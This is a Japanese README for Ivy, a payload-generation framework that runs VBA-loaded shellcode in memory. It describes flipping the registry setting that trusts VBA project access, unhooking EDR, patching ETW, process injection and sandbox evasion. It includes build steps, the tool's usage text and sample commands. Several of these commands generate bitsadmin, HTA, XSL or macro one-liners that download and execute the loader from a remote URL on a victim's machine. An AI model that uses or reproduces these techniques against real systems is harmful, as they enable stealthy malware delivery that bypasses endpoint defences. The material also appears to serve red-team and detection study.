
Ivyは、任意のVBA(マクロ)ソースコードをメモリ上で直接実行するためのペイロード作成フレームワークです。Ivyのローダーは、VBAオブジェクト環境へのプログラムによるアクセスを利用して、シェルコードのロード、復号化、実行を行います。
Ivyの最新バージョンを表示したり、問題を報告するには、https://github.com/Tylous/Ivy を参照してください。
このフレームワークで使用されている手法や、それに対する防御策について詳しく知りたい場合は、記事をご覧ください。
Ivyは、任意のVBA(マクロ)ソースコードをメモリ内で実行するためのペイロード作成フレームワークです。Ivyのローダーは、VBAオブジェクト環境におけるプログラムによるアクセスを悪用して、シェルコードをロード、復号、実行します。この手法は、可能な限り真のファイルレスに近いものです。最近のファイルレス攻撃の多くは、何らかのファイルをディスクにドロップする必要があるため、標準的なシグネチャベースのVBAコード検出ルールをバイパスできます。一般的なVBAペイロードには以下の特徴があります。
メモリ内でのみ実行されることで、これらの動作特性によりEDRによる検出が難しくなります。
IvyのローダーはRC4暗号化(AES暗号化は非常に肥大化し、VBAでの復号に時間がかかる)で暗号化され、その後個別の文字列に分割されます。これにより、サンドボックスがこれらの文字列を調査すべき暗号化文字列として認識するのを防ぎます。また、デコード機構がこれらのペイロードをゴミ文字以外の何かとして認識することも防ぎます。
Ivyのローダーは最初にレジストリクエストを実行し、「VBAプロジェクトオブジェクトモデルへのアクセスを信頼する」を有効にします。このレジストリキーの値はユーザーモードに保存され、ユーザーは昇格された権限を必要とせずに値を変更できます。レジストリ値は0から1に設定されます。レジストリキーが存在しない場合、Ivyは値「1」で作成します。この値を有効にすると、異なるプロセスからVBAオブジェクト環境へのプログラムによるアクセスが可能になります。
これが完了すると、ローダーは非表示のExcelプロセスを起動し、暗号化された文字列をVBA関数にロードします。これはActiveXを使用して、同じタスクを実行するGUIアクションをシミュレートすることによって行われます。これにより、実行を監視する従来の多くのコントロールをバイパスできます。その結果、復号関数とシェルコードは、あるメモリバッファから別のメモリバッファに移動され、ディスクに触れることはありません。最後に、ローダーはコマンドGUI呼び出しを使用してrun関数を実行します。これは、VBAのGUIパネルでマクロ実行ボタンをクリックする動作をシミュレートし、復号関数、続いてシェルコードの実際の実行を開始します。
重要
ターゲットエンドポイントにはMicrosoft Officeがインストールされ、アクティブ化されている必要があります。IvyはMicrosoft OfficeのVBA環境へのプログラムによるアクセスを悪用するためです。
これにより、Ivyは低レベルのシステムコールを使用して、直接メモリアドレスとレジスタ値を間接的に参照することにより、Windows関数WriteProcessMemoryの独自バージョンを構築できます。Ivyは、メモリ変更API関数を一切呼び出さずに、書き込み不可能なメモリ領域を上書きできます。これはWriteProcessMemoryの機能により可能です。この機能は、十分な権限(プロセスを所有しているため権限があります)があれば、書き込みのためにメモリ領域のアクセス許可を一時的に変更します。値を書き込み、元のアクセス許可を復元しますが、VirtualProtect関数を呼び出す代わりに、関連するシステムコール(NtProtectVirtualMemory)を自動的に呼び出します。
Ivyは独自のNtWriteVirtualMemoryバージョンを使用しません。これは、メモリ許可が一時的に変更されるプロセスが発生しないため、特定のメモリアドレスの保護が変更されず、実行が失敗するからです。これは、デバッガをより安定させるためにMicrosoftがリリースした「機能」です。デバッガはメモリをその場で変更したいため、複数のタスクを実行せずにセクションを変更できます。(詳細についてはdevblogs.microsoft.comを参照)
EDRが確認する一連のイベントを見てみましょう。
すべてのEDRフックが排除されると、ローダーは通常の動作を実行してリモートセッションを確立します。
Ivyは、EDRがフックする一般的なシステムDLLをアンフックすることでこれに対処します。これには以下が含まれます。
ペイロードタイプ Inject で unhook を使用する場合、Ivyのローダーは最初にOfficeプロセスをアンフックしてEDRを除去し、次に注入先プロセス内のフックを削除します。これにより、両方のプロセスがフックフリーになり、親プロセスと子プロセスからのテレメトリがEDRに送信されるのを防ぎます。
同じアンフック手法を使用して、IvyはETW関数にパッチを適用し、プロセスからのイベント生成を防ぎます。ETWは組み込みのシステムコールを使用してこのテレメトリを生成します。ETWはWindowsに組み込まれたネイティブ機能であるため、セキュリティ製品は情報を取得するためにETWシステムコールを「フック」する必要はありません。その結果、ETWを防ぐために、Ivyは多数のETWシステムコールにパッチを適用し、レジスタをフラッシュして実行フローを次の命令に戻します。ETWパッチはすべてのローダーでデフォルトになりました。ローダーでETWをパッチしたくない場合は、コマンドラインオプション -noetw を使用して無効にしてください。
IvyはGoで開発されました。
最初のステップは、いつものようにリポジトリをクローンすることです。Ivyをコンパイルする前に、依存関係をインストールする必要があります。 インストールするには、次のコマンドを実行します。
go get github.com/fatih/color
go get github.com/KyleBanks/XOREncryption/Go
次にビルドします。
go build Ivy.go
$ ./Ivy -h
___ ___ ___ ___ ___
|\ \ |\ \ / /||\ \ / /|
\ \ \\ \ \ / / /\ \ \/ / /
\ \ \\ \ \/ / / \ \ / /
\ \ \\ \ / / \/ / /
\ \__\\ \__/ / __/ / /
\|__| \|__|/ |\___/ /
\|___|/
(@Tyl0us)
The suffering. The pain. Can't you hear them?
Their cries for mercy?
Usage of ./Ivy:
-Ix64 string
Path to the x64 payload
-Ix86 string
Path to the x86 payload
-O string
Name of output file
-P string
Payload type "Inject" (Which performs a process injection) or "Local" (Which loads the payload directly into the current process)
-debug
Print debug statements
-delivery string
Generates an one-liner command to download and execute the payload remotely:
[*] bits - Generates a Bitsadmin one liner command to download, execute and remove the loader.
[*] hta - Generates a blank hta file containing the loader along with a one liner command execute the loader remotely.
[*] macro - Generates an office macro that would download and execute a the loader remotely.
[*] xsl - Generates a xsl stylesheet file containing the loader along with a one liner command execute the loader remotely.
-process32 string
The full path to the x86 application to spawn. Only use applications that are found in System32 & SYSWOW64 (default is rundll32.exe)
-process64 string
The full path to the x64 application to spawn. Please specify the path to the process to create/inject into (use \ for the path) (default is explorer.exe)
-product string
Name of the office product to use (Excel, Word, PowerPoint) (default "Excel")
-sandbox
Enable sandbox evasion controls (i.e. checks if the system is domain joined)
-stageless
Enables stageless payload. When this option is enabled use a raw payload (aka .bin files) instead of .c code
-unhook
Unhooks EDR's hooks before loading payload
-url string
URL assoicated with the Delivery option to retrieve the payload. (e.g https://acme.com/)
Ivyでローダーを生成する場合、64ビットと32ビットのペイロードを生成し、コマンドライン引数 -Ix64 と -Ix86 で入力する必要があります。これは、オペレーティングシステムが64ビットでも、実行中のOfficeのバージョンが実際には32ビットである可能性があるためです。その結果、Ivyはペイロードを注入する前に適切なアーキテクチャを検出します。
また、ローダーを生成する際には2つのペイロードタイプがあります。1つ目は Inject で、新しいプロセスを中断状態で生成し、シェルコードをプロセスに注入してから再開するプロセスインジェクション攻撃を実行します。プロセスインジェクションは便利で、Excel以外のプロセスを生成できますが、EDRは中断状態のプロセスを作成して注入する動作を検出するのが非常に得意であり、これにより捕まる可能性があります。よりステルス性の高いオプションは Local です。これはシェルコードを現在のOfficeプロセスに直接ロードします。Local オプションには、検出を回避するための追加機能もあり、一部のWindowsシステムコールへの直接呼び出しを利用します。これは、VBA環境がスタックに基づいて(事前にすべての正しいレジスタを整列させていれば)正確な関数を定義して呼び出すことを可能にするためです。最後に、このペイロードタイプのIvyのローダーには、シェルコードを実行するための文書化されていない呼び出しがあり、実行の検出をより困難にしています。
Inject モードでは、Ivyはシェルコードを注入するために中断状態のプロセスを作成します。32ビットか64ビットのシステムかに応じて異なるプロセスが生成されます。Ivyにはデフォルトのプロセス名がいくつか付属していますが、process32 または process64 フラグを使用して変更できます。パスを指定する際は、パスに \\ を使用してください。
まず第一に、常に -stageless 引数を使用するべきです。ただし、ステージドペイロードを実行する必要がある場合は、-stageless 引数を使用せずに行うことができます。-stageless を使用する場合、生のシェルコード(.binファイル)を使用できますが、ステージドペイロードを実行する場合は、Inject ペイロードタイプではシェルコードがVBA形式である必要があり、Local タイプではシェルコードがC形式である必要があることに注意してください。
配信コマンドライン引数を使用すると、リモートソースから被害者のホストにファイルをリモートでプルするためのコマンドまたはコード文字列(マクロの場合)を生成できます。これらの配信方法には以下が含まれます。
./Ivy -Ix64 test64.vba -Ix86 test32.vba -P Inject -O SampleInject.js
./Ivy -Ix64 test64.c -Ix86 test32.c -P Local -O SampleLocal.js
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O stageless.js
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -O stageless.js
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -process64 C:\\windows\\system32\\notepad.exe -process32 C:\\windows\\SysWOW64\\notepad.exe -O stageless.js
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -unhook -O stageless.js
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -unhook -O stageless.js
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -O test.png -stageless
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.js -url http://ACME.com -delivery bits -stageless
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.hta -url http://ACME.com -delivery hta -stageless
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.xsl -url http://ACME.com -delivery xsl -stageless
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.txt -url http://ACME.com/test.txt -delivery macro -stageless
現在、リモート注入プロセスのアンフックに関する既知の問題があります。当面の回避策として、unhook BOFをロードしてください。